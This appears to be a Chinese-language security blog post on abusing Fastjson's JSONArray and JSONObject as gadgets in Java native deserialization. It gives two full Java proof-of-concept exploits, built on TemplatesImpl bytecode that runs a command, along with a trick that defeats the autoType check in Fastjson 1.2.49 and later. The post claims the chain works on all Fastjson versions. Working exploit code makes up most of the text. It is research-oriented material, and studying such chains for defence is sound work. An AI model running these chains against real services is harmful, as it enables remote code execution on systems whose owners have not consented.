介绍

除了常见的 Fastjson 在调用自身的 JSON.parseObject() 来反序列化的时候会触发一些 Gadget 导致漏洞,Fastjson 自身其实也会在 jdk 原生反序列化中作为一个 Gadget 来触发漏洞。这就可以绕过高版本 Fastjson 中对 Autotype 的限制。而且这个利用暂时是 Fastjson 全版本通杀的。

分析

既然是与原生反序列化相关,那我们应该在 fastjson 包中看哪些类继承了 Serializable 接口,最后找完只有两个类, JSONArrayJSONObject

这两个类都继承自 JSON ,而这个类中存在一个 toString() 方法。前面我们在 Fastjson 漏洞总结中提到过,JSON.toString() 可以任意调用任意类的 getter 方法,而有些类的 getter 方法是可以直接触发漏洞的,比如著名的 TemplatesImpl 等等。那现在我们只需要找到 jdk 原生反序列化到 toString() 的链子,就可以连上链子,触发漏洞了。

这里有两个 jdk 原生的链子可以在 readObject() 中任意调 toString()

  1. BadAttributeValueExpException.readObject() -> 任意调 toString()
  2. HashMap.readObject() -> XString.equals() (任意调 equals() )-> 任意调 toString()

POC

两者的 poc 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
package com.just;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class Demo8 {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static TemplatesImpl getTemplatesImpl() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "RANDOM");
setValue(templates, "_tfactory", null);
return templates;
}

public static byte[] serialize(Object object) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
return baos.toByteArray();
}

public static Object deserialize(byte[] byteArray) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(byteArray);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}

public static void main(String[] args) throws Exception{
// poc1();
poc2();
}

public static void poc1() throws Exception{
JSONArray array = new JSONArray();
array.add(getTemplatesImpl());

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setValue(exception, "val", array);

deserialize(serialize(exception));
}

public static void poc2() throws Exception{
JSONArray array = new JSONArray();
array.add(getTemplatesImpl());

XString xString = new XString("111");

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
// 这里的顺序很重要,不然在调用equals方法时可能调用的是JSONArray.equals(XString)
hashMap1.put("yy", array);
hashMap1.put("zZ", xString);
hashMap2.put("yy", xString);
hashMap2.put("zZ", array);

HashMap map = new HashMap();
// 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
// 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
Field size = map.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(map, 2);
Class<?> aClass = Class.forName("java.util.HashMap$Node");
Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
constructor.setAccessible(true);
Object o = Array.newInstance(aClass, 2);
Array.set(o, 0, constructor.newInstance(0, hashMap1, "a", null));
Array.set(o, 1, constructor.newInstance(0, hashMap2, "b", null));
Field table = map.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(map, o);

deserialize(serialize(map));
}
}

补充完善

但是上面按照直接思路写的 poc 只能用于 fastjson<=1.2.48 或者 fastjson2 ,在 fastjson 1.2.49 版本及以后上面的 poc 是用不了的,会报错: autoType is not support. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。这是为什么呢?

1.2.49 开始,我们的 JSONArray 以及 JSONObject 方法开始真正有了自己的 readObject 方法。

在对 JSONArrayJSONObject )进行反序列化的时候,会通过 Fastjson 自定义的 SecureObjectInputStream 来处理,因此 JSONArray 内部封装了的恶意 TemplatesImpl 对象会被 SecureObjectInputStream#resolveClass() 中的 checkAutoType() 给过滤。

但是这就没办法绕过了吗?

之前在学习jdk7u21和jdk8u20原生反序列化漏洞分析链子的时候提到过,两个相同的对象在同一个反序列化的过程中只会被反序列化一次。那么我们可以在序列化的时候注入两个相同的 TemplatesImpl 对象,第二个 TemplatesImpl 对象被封装到 JSONArray 中。那么在靶机反序列化我们的 payload 时,如果先用正常的 ObjectInputStream 反序列化了第一个 TemplatesImpl 对象,那么在第二次在 JSONArray.readObject() 中,就不会再用 SecureObjectInputStream 来反序列化这个相同的 TemplatesImpl 对象了,就会绕过 checkAutoType() 的检查!

完善后的 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
package com.just;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Demo8 {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static TemplatesImpl getTemplatesImpl() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "RANDOM");
setValue(templates, "_tfactory", null);
return templates;
}

public static byte[] serialize(Object object) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
return baos.toByteArray();
}

public static Object deserialize(byte[] byteArray) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(byteArray);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}

public static void main(String[] args) throws Exception{
// poc3();
poc4();
}

public static void poc3() throws Exception{
TemplatesImpl templates = getTemplatesImpl();

JSONArray array = new JSONArray();
array.add(templates);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setValue(exception, "val", array);

HashMap map = new HashMap();
map.put(templates, exception);

deserialize(serialize(map));
}

public static void poc4() throws Exception{
TemplatesImpl templates = getTemplatesImpl();

JSONArray array = new JSONArray();
array.add(templates);

XString xString = new XString("111");

HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
// 这里的顺序很重要,不然在调用equals方法时可能调用的是JSONArray.equals(XString)
hashMap1.put("yy", array);
hashMap1.put("zZ", xString);
hashMap2.put("yy", xString);
hashMap2.put("zZ", array);

HashMap map = new HashMap();
// 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
// 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
Field size = map.getClass().getDeclaredField("size");
size.setAccessible(true);
size.set(map, 2);
Class<?> aClass = Class.forName("java.util.HashMap$Node");
Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
constructor.setAccessible(true);
Object o = Array.newInstance(aClass, 2);
Array.set(o, 0, constructor.newInstance(0, hashMap1, "a", null));
Array.set(o, 1, constructor.newInstance(0, hashMap2, "b", null));
Field table = map.getClass().getDeclaredField("table");
table.setAccessible(true);
table.set(map, o);

HashMap obj = new HashMap();
obj.put(templates, map);

deserialize(serialize(obj));
}
}

至此 fastjson 全版本实现了原生反序列化利用!

参考文章

https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%89%8D%E8%A8%80
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/